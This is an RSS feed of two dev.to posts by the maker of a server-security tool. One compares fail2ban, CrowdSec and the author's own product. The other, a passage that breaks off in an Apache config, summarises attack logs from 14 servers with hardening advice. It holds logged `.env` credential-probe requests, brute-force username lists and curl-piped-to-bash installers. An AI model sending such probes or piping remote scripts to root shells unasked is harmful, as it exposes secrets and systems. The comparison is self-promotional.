<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Defensia</title>
    <description>The latest articles on DEV Community by Defensia (@defensia).</description>
    <link>https://dev.to/defensia</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3853578%2F0512cb8b-c51d-4c30-bc22-d95fc09e380b.png</url>
      <title>DEV Community: Defensia</title>
      <link>https://dev.to/defensia</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/defensia"/>
    <language>en</language>
    <item>
      <title>fail2ban vs CrowdSec vs Defensia: an honest comparison</title>
      <dc:creator>Defensia</dc:creator>
      <pubDate>Tue, 31 Mar 2026 14:59:46 +0000</pubDate>
      <link>https://dev.to/defensia/fail2ban-vs-crowdsec-vs-defensia-an-honest-comparison-14hk</link>
      <guid>https://dev.to/defensia/fail2ban-vs-crowdsec-vs-defensia-an-honest-comparison-14hk</guid>
      <description>&lt;p&gt;I've been running all three on production servers. Not in a lab — on real VPS and bare metal boxes handling actual traffic. Here's what I learned about when each one makes sense, and when it doesn't.&lt;/p&gt;

&lt;h2&gt;
  
  
  The short version
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;fail2ban&lt;/th&gt;
&lt;th&gt;CrowdSec&lt;/th&gt;
&lt;th&gt;Defensia&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;What it does&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bans IPs that match log patterns&lt;/td&gt;
&lt;td&gt;Same + shares threat intel with community&lt;/td&gt;
&lt;td&gt;Same + real-time dashboard + WAF + bot management&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Install&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;apt install fail2ban&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Install agent + bouncer + enroll&lt;/td&gt;
&lt;td&gt;`curl \&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Config&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Edit regex jail files&lt;/td&gt;
&lt;td&gt;Write YAML scenarios&lt;/td&gt;
&lt;td&gt;Zero config (detects everything automatically)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dashboard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (CLI only)&lt;/td&gt;
&lt;td&gt;Console (free limited, paid $29+/engine/mo)&lt;/td&gt;
&lt;td&gt;Included (free tier, Pro at $9.90/server)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WAF&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Partial (AppSec component)&lt;/td&gt;
&lt;td&gt;Yes (15 OWASP types from access logs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bot management&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (70+ fingerprints)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Docker aware&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Via acquisitions&lt;/td&gt;
&lt;td&gt;Yes (auto-detects containers, reads their logs)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kubernetes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Via Helm chart&lt;/td&gt;
&lt;td&gt;Via Helm chart (DaemonSet)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Crowd intelligence&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (core feature)&lt;/td&gt;
&lt;td&gt;Yes (shared threat DB + external feeds)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Price&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Free CLI / $29+/engine/mo console&lt;/td&gt;
&lt;td&gt;Free (1 server) / $9.90/server/mo Pro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Language&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;Go&lt;/td&gt;
&lt;td&gt;Go&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Age&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;2004 (20+ years)&lt;/td&gt;
&lt;td&gt;2020&lt;/td&gt;
&lt;td&gt;2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Now the details.&lt;/p&gt;

&lt;h2&gt;
  
  
  fail2ban: the reliable veteran
&lt;/h2&gt;

&lt;p&gt;fail2ban has been around since 2004. It does one thing: watch log files, match patterns, ban IPs via iptables. Twenty years later, it's still the default on most Linux servers.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's good
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;It just works.&lt;/strong&gt; {% raw %}&lt;code&gt;apt install fail2ban&lt;/code&gt; and you have SSH protection out of the box. The default config catches failed SSH logins and bans after 5 failures. For many servers, that's enough.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Zero overhead.&lt;/strong&gt; fail2ban uses almost no CPU or RAM. It's a Python script that tails log files. On a $5 VPS where every megabyte counts, this matters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Battle-tested.&lt;/strong&gt; Twenty years of production use. Every edge case has been hit, reported, and fixed. The regex patterns for SSH, Apache, Nginx, Postfix, Dovecot — they all work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No network dependency.&lt;/strong&gt; fail2ban works completely offline. No cloud, no API, no account, no telemetry. It reads local logs and writes local iptables rules. Period.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's not good
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Configuration is painful.&lt;/strong&gt; Want to protect more than SSH? You need to write "jails" — regex patterns that match log lines. Here's what a jail looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[nginx-botsearch]&lt;/span&gt;
&lt;span class="py"&gt;enabled&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="py"&gt;port&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;http,https&lt;/span&gt;
&lt;span class="py"&gt;filter&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;nginx-botsearch&lt;/span&gt;
&lt;span class="py"&gt;logpath&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;/var/log/nginx/access.log&lt;/span&gt;
&lt;span class="py"&gt;maxretry&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the filter file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[Definition]&lt;/span&gt;
&lt;span class="py"&gt;failregex&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;^&amp;lt;HOST&amp;gt; - .* "(GET|POST|HEAD).*HTTP.*" 404&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is fine for one pattern. But if you want to detect SQL injection, XSS, path traversal, RCE, env probing, config probing, scanner tools, and web shells — you're writing dozens of regex files and testing each one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No visibility.&lt;/strong&gt; fail2ban has no dashboard, no web UI, no charts, no timeline. Want to know how many attacks you got today? &lt;code&gt;fail2ban-client status sshd&lt;/code&gt; gives you a count. That's it. Want to see trends over time, or which countries are attacking you, or which attack types are most common? You can't. Not without piping logs through ELK or Grafana yourself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No WAF.&lt;/strong&gt; fail2ban reads logs and matches patterns. It doesn't understand HTTP semantics, OWASP attack types, or bot fingerprints. It's a log parser with ban capabilities, not a security tool.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Single-server scope.&lt;/strong&gt; A ban on Server A doesn't protect Server B. Each server is an island.&lt;/p&gt;

&lt;h3&gt;
  
  
  When to use fail2ban
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You have 1-2 servers and only need SSH protection&lt;/li&gt;
&lt;li&gt;You want zero network dependency&lt;/li&gt;
&lt;li&gt;You're comfortable writing and maintaining regex jails&lt;/li&gt;
&lt;li&gt;You don't need visibility into what's happening&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  CrowdSec: the community approach
&lt;/h2&gt;

&lt;p&gt;CrowdSec launched in 2020 as a "modern fail2ban" with one key innovation: &lt;strong&gt;crowd intelligence&lt;/strong&gt;. When your server detects an attacker, it shares the IP with the CrowdSec network. In return, you get a blocklist of IPs flagged by other users worldwide.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's good
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Crowd intelligence is powerful.&lt;/strong&gt; This is CrowdSec's killer feature. If an IP attacks a server in Germany, your server in Singapore gets the warning before the attack reaches you. With enough participants, this creates a global early-warning network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Better detection model.&lt;/strong&gt; Instead of fail2ban's flat regex, CrowdSec uses YAML "scenarios" that can express behavior over time: "5 failed logins in 2 minutes" rather than just "line matches pattern." This reduces false positives.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bouncer architecture.&lt;/strong&gt; CrowdSec separates detection (the agent) from remediation (bouncers). You can detect on one server and enforce on another — useful for multi-server setups.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Active development.&lt;/strong&gt; Go-based, well-maintained, growing community. The team ships regularly and the docs are solid.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's not good
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Complex setup.&lt;/strong&gt; Install the agent, install a bouncer (separate binary), configure parsers, enroll in the console, configure scenarios. The docs are good, but the surface area is large. Here's a taste:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install agent&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://install.crowdsec.net | bash

&lt;span class="c"&gt;# Install firewall bouncer&lt;/span&gt;
apt &lt;span class="nb"&gt;install &lt;/span&gt;crowdsec-firewall-bouncer-iptables

&lt;span class="c"&gt;# Enroll in console&lt;/span&gt;
cscli console enroll &amp;lt;your-key&amp;gt;

&lt;span class="c"&gt;# Install a collection for nginx&lt;/span&gt;
cscli collections &lt;span class="nb"&gt;install &lt;/span&gt;crowdsecurity/nginx

&lt;span class="c"&gt;# Acquire the log file&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"source: file&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;filenames:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  - /var/log/nginx/access.log&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;labels:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;  type: nginx"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/crowdsec/acquis.d/nginx.yaml

&lt;span class="c"&gt;# Restart&lt;/span&gt;
systemctl restart crowdsec
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compare to fail2ban's &lt;code&gt;apt install fail2ban&lt;/code&gt; or Defensia's single curl command. CrowdSec requires understanding agents, bouncers, parsers, scenarios, collections, and the console.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The console is expensive.&lt;/strong&gt; The CLI is free. But the dashboard (CrowdSec Console) starts at &lt;strong&gt;$29/engine/month&lt;/strong&gt; for the SaaS tier. Enterprise features like local synchronization start at &lt;strong&gt;$18,000/month&lt;/strong&gt;. For a developer with 3 servers, that's $87/month just for the dashboard — compared to $0 for fail2ban or $29.70 for Defensia Pro.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AppSec (WAF) is an add-on.&lt;/strong&gt; CrowdSec's WAF component exists but it's a separate module, not integrated into the core detection flow. It requires additional configuration and only covers specific scenarios.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Privacy trade-off.&lt;/strong&gt; Crowd intelligence requires sharing your server's attack data with CrowdSec's cloud. The data is anonymized, but some organizations can't or won't share security telemetry with a third party.&lt;/p&gt;

&lt;h3&gt;
  
  
  When to use CrowdSec
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You manage 10+ servers and want proactive threat intel&lt;/li&gt;
&lt;li&gt;You're comfortable with complex multi-component setup&lt;/li&gt;
&lt;li&gt;Crowd blocklists are worth more to you than a dashboard&lt;/li&gt;
&lt;li&gt;You don't mind sharing attack data with a third party&lt;/li&gt;
&lt;li&gt;Budget allows $29+/engine/month for the console&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Defensia: the dashboard-first approach
&lt;/h2&gt;

&lt;p&gt;Full disclosure: I built Defensia. So take this section with that context. I'll try to be as honest about the limitations as I was with the other two.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's good
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Zero configuration.&lt;/strong&gt; Install with one command and the agent auto-detects everything: SSH auth logs, Nginx/Apache access logs, Docker containers, vhosts, log paths. No jails to write, no scenarios to configure, no parsers to install.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://defensia.cloud/install.sh | &lt;span class="nb"&gt;sudo &lt;/span&gt;bash &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;--token&lt;/span&gt; &amp;lt;YOUR_TOKEN&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Real-time dashboard included.&lt;/strong&gt; Every event, ban, and metric shows up in a web dashboard immediately. Filter by server, attack type, country, IP. See trends over time. Export to CSV. No Grafana setup, no ELK stack. This is the #1 thing fail2ban and CrowdSec (free tier) don't give you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Built-in WAF.&lt;/strong&gt; The agent parses access logs and detects 15 OWASP attack types — SQL injection, XSS, SSRF, RCE, path traversal, env probing, config probing, web shells, scanner tools, and more. Each detection adds to a per-IP score that decays over time. High-score IPs get banned automatically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bot management.&lt;/strong&gt; 70+ bot fingerprints with per-server policies: allow, log, or block. Blocked bots are rejected at the web server level (nginx/Apache config), so your app never sees the request.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Docker and Kubernetes native.&lt;/strong&gt; Auto-detects Docker containers, reads their logs via bind mounts, and reports container inventory to the dashboard. Helm chart for K8s DaemonSet deployment.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's not good
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Smaller crowd network.&lt;/strong&gt; Defensia shares threat data across all organizations through a shared threat intelligence database. When an IP is flagged by one customer, it gets a threat score — and IPs scoring above 70 are pushed to all agents via the sync feed, alongside external threat feeds (Spamhaus DROP, Feodo Tracker, CINS Army). Bans also propagate across all servers within the same organization. However, CrowdSec's crowd network is significantly larger (millions of users contributing), so their blocklist coverage is broader today.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requires a cloud account.&lt;/strong&gt; The agent connects to defensia.cloud for the dashboard and management. fail2ban works fully offline; Defensia doesn't. If you can't send data to a third-party cloud, Defensia isn't for you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Younger project.&lt;/strong&gt; fail2ban has 20 years of battle-testing. CrowdSec has 6 years and a funded team. Defensia launched in 2026. The agent is open source (MIT) and has been running on production servers for months, but the track record is shorter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Smaller community.&lt;/strong&gt; fail2ban has millions of installs. CrowdSec has a growing community with shared scenarios and collections. Defensia is a project with a growing user base but no community-contributed detection rules yet.&lt;/p&gt;

&lt;h3&gt;
  
  
  When to use Defensia
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You want visibility into what's attacking your servers without setting up monitoring infrastructure&lt;/li&gt;
&lt;li&gt;You need WAF protection from access logs without configuring rules&lt;/li&gt;
&lt;li&gt;You manage Docker hosts and want container-aware security&lt;/li&gt;
&lt;li&gt;You want something that works out of the box with zero configuration&lt;/li&gt;
&lt;li&gt;Budget: free for 1 server, $9.90/server for Pro&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The real comparison: what matters to you?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  "I just need SSH protection and nothing else"
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Use fail2ban.&lt;/strong&gt; It's free, it works, it's been doing this for 20 years. Don't overthink it.&lt;/p&gt;

&lt;h3&gt;
  
  
  "I manage 10+ servers and want proactive threat intel"
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;CrowdSec or Defensia.&lt;/strong&gt; Both share threat data across users. CrowdSec has a much larger crowd network today. Defensia combines crowd intel with a dashboard, WAF, and external feeds (Spamhaus, Feodo, CINS) in one package.&lt;/p&gt;

&lt;h3&gt;
  
  
  "I want to see what's happening on my servers in real time"
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Use Defensia.&lt;/strong&gt; Neither fail2ban nor CrowdSec (free tier) gives you a dashboard. Defensia's entire value proposition is making server security visible without infrastructure overhead.&lt;/p&gt;

&lt;h3&gt;
  
  
  "I need WAF + SSH + bots in one tool"
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Use Defensia.&lt;/strong&gt; fail2ban doesn't do WAF. CrowdSec's WAF is a separate module. Defensia detects 15 OWASP attack types, manages 70+ bot fingerprints, and handles SSH brute force — all from one agent.&lt;/p&gt;

&lt;h3&gt;
  
  
  "I can't send data to any cloud"
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Use fail2ban.&lt;/strong&gt; It's the only one that works fully offline with zero network dependency.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I run more than one?
&lt;/h3&gt;

&lt;p&gt;Yes. fail2ban + CrowdSec is a common combination (fail2ban for local bans, CrowdSec for crowd intelligence). Defensia + CrowdSec could also work (Defensia for dashboard + WAF, CrowdSec for crowd blocklists). There's no conflict as long as you don't have both trying to manage the same iptables chains.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bottom line
&lt;/h2&gt;

&lt;p&gt;There's no single "best" tool. fail2ban is the reliable baseline. CrowdSec has the largest crowd network. Defensia combines crowd intel, WAF, bot management, and a dashboard in one package.&lt;/p&gt;

&lt;p&gt;Pick based on what you actually need, not what has the most features on paper.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Links:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;fail2ban: &lt;a href="https://github.com/fail2ban/fail2ban" rel="noopener noreferrer"&gt;github.com/fail2ban/fail2ban&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;CrowdSec: &lt;a href="https://github.com/crowdsecurity/crowdsec" rel="noopener noreferrer"&gt;github.com/crowdsecurity/crowdsec&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Defensia: &lt;a href="https://github.com/defensia/agent" rel="noopener noreferrer"&gt;github.com/defensia/agent&lt;/a&gt; (MIT license)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;If you want to see real attack data before choosing a tool, I wrote about &lt;a href="https://dev.to/defensia/i-analyzed-250000-attacks-on-my-linux-servers-heres-what-i-found-20o8"&gt;analyzing 250,000 attacks on production servers&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
      <category>devops</category>
      <category>opensource</category>
    </item>
    <item>
      <title>I analyzed 250,000 attacks on my Linux servers. Here's what I found.</title>
      <dc:creator>Defensia</dc:creator>
      <pubDate>Tue, 31 Mar 2026 14:22:54 +0000</pubDate>
      <link>https://dev.to/defensia/i-analyzed-250000-attacks-on-my-linux-servers-heres-what-i-found-20o8</link>
      <guid>https://dev.to/defensia/i-analyzed-250000-attacks-on-my-linux-servers-heres-what-i-found-20o8</guid>
      <description>&lt;p&gt;I set up real-time monitoring on 14 production Linux servers, a mix of VPS, bare metal, and Docker hosts across DigitalOcean, OVH, Hetzner, and a couple of on-prem boxes. One server hosts 64 domains. Another runs a single Laravel app. They range from 1 vCPU to 8 vCPU, Ubuntu, Debian, CentOS 7, and AlmaLinux.&lt;/p&gt;

&lt;p&gt;I wanted to answer a simple question: &lt;strong&gt;what's actually hitting my servers?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I let it run for 35 days. The answer was worse than I expected.&lt;/p&gt;

&lt;h2&gt;
  
  
  The numbers
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Total security events&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;254,177&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attacks per day (average)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8,400&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unique attacking IPs&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;23,831&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IPs banned automatically&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;50,919&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Repeat offenders (banned 2+ times)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;9,827&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Permanently banned (4+ offenses)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1,871&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Worst single IP&lt;/td&gt;
&lt;td&gt;Banned &lt;strong&gt;14 times&lt;/strong&gt; before permanent block&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That's 8,400 attacks per day. Across 14 servers. Every single day.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fat32cpkrt2trlf4icmb7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fat32cpkrt2trlf4icmb7.png" alt="Defensia dashboard showing 254,177 security events, 50,919 banned IPs, and 23,831 unique attackers across 14 Linux servers with a real-time event feed showing brute force, env probing, RCE attempts, and scanner detection." width="800" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What's attacking you (and what they want)
&lt;/h2&gt;

&lt;p&gt;I'm going to skip the bot crawler noise and focus on what matters: &lt;strong&gt;attacks that can actually compromise your server&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  SSH brute force — 20,960 events
&lt;/h3&gt;

&lt;p&gt;The most persistent threat. ~700 attempts per day, every day, without exception.&lt;/p&gt;

&lt;p&gt;The pattern is always the same: an IP connects, tries 50-200 passwords in 2-3 minutes, then moves on. They target every username you can think of:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root
admin
ubuntu
test
oracle
postgres
deploy
git
ftpuser
minecraft
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most brute force comes in coordinated waves: the same IP hits multiple servers within seconds. With progressive ban escalation (24h first offense, 7 days second, 30 days third, permanent after that), 1,871 IPs have been permanently blocked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to do:&lt;/strong&gt; Disable password auth entirely. Use SSH keys only. Add this to &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ssh"&gt;&lt;code&gt;&lt;span class="k"&gt;PasswordAuthentication&lt;/span&gt; &lt;span class="no"&gt;no&lt;/span&gt;
&lt;span class="k"&gt;PubkeyAuthentication&lt;/span&gt; &lt;span class="no"&gt;yes&lt;/span&gt;
&lt;span class="k"&gt;PermitRootLogin&lt;/span&gt; prohibit-password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then &lt;code&gt;systemctl restart sshd&lt;/code&gt;. This alone stops 99% of SSH brute force.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;.env&lt;/code&gt; file probing — 2,376 events
&lt;/h3&gt;

&lt;p&gt;This one should terrify every developer who deploys web apps:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;GET&lt;/span&gt; &lt;span class="nn"&gt;/.env&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="s"&gt;GET /.env.local HTTP/1.1&lt;/span&gt;
&lt;span class="s"&gt;GET /.env.production HTTP/1.1&lt;/span&gt;
&lt;span class="s"&gt;GET /.env.backup HTTP/1.1&lt;/span&gt;
&lt;span class="s"&gt;GET /api/.env HTTP/1.1&lt;/span&gt;
&lt;span class="s"&gt;GET /app/.env HTTP/1.1&lt;/span&gt;
&lt;span class="s"&gt;GET /laravel/.env HTTP/1.1&lt;/span&gt;
&lt;span class="s"&gt;GET /wp-content/.env HTTP/1.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Every single one of my 14 servers&lt;/strong&gt; gets probed for &lt;code&gt;.env&lt;/code&gt; files multiple times per day. They're looking for database credentials, API keys, &lt;code&gt;APP_KEY&lt;/code&gt;, Stripe secrets, everything that's in your &lt;code&gt;.env&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If your web server serves &lt;code&gt;.env&lt;/code&gt; as a static file, &lt;strong&gt;you are already compromised&lt;/strong&gt;. I guarantee it. The scanners are automated and run 24/7.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to do:&lt;/strong&gt; Block &lt;code&gt;.env&lt;/code&gt; access in your web server config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Nginx&lt;/span&gt;
&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;/\.env&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="c"&gt;# Apache&lt;/span&gt;
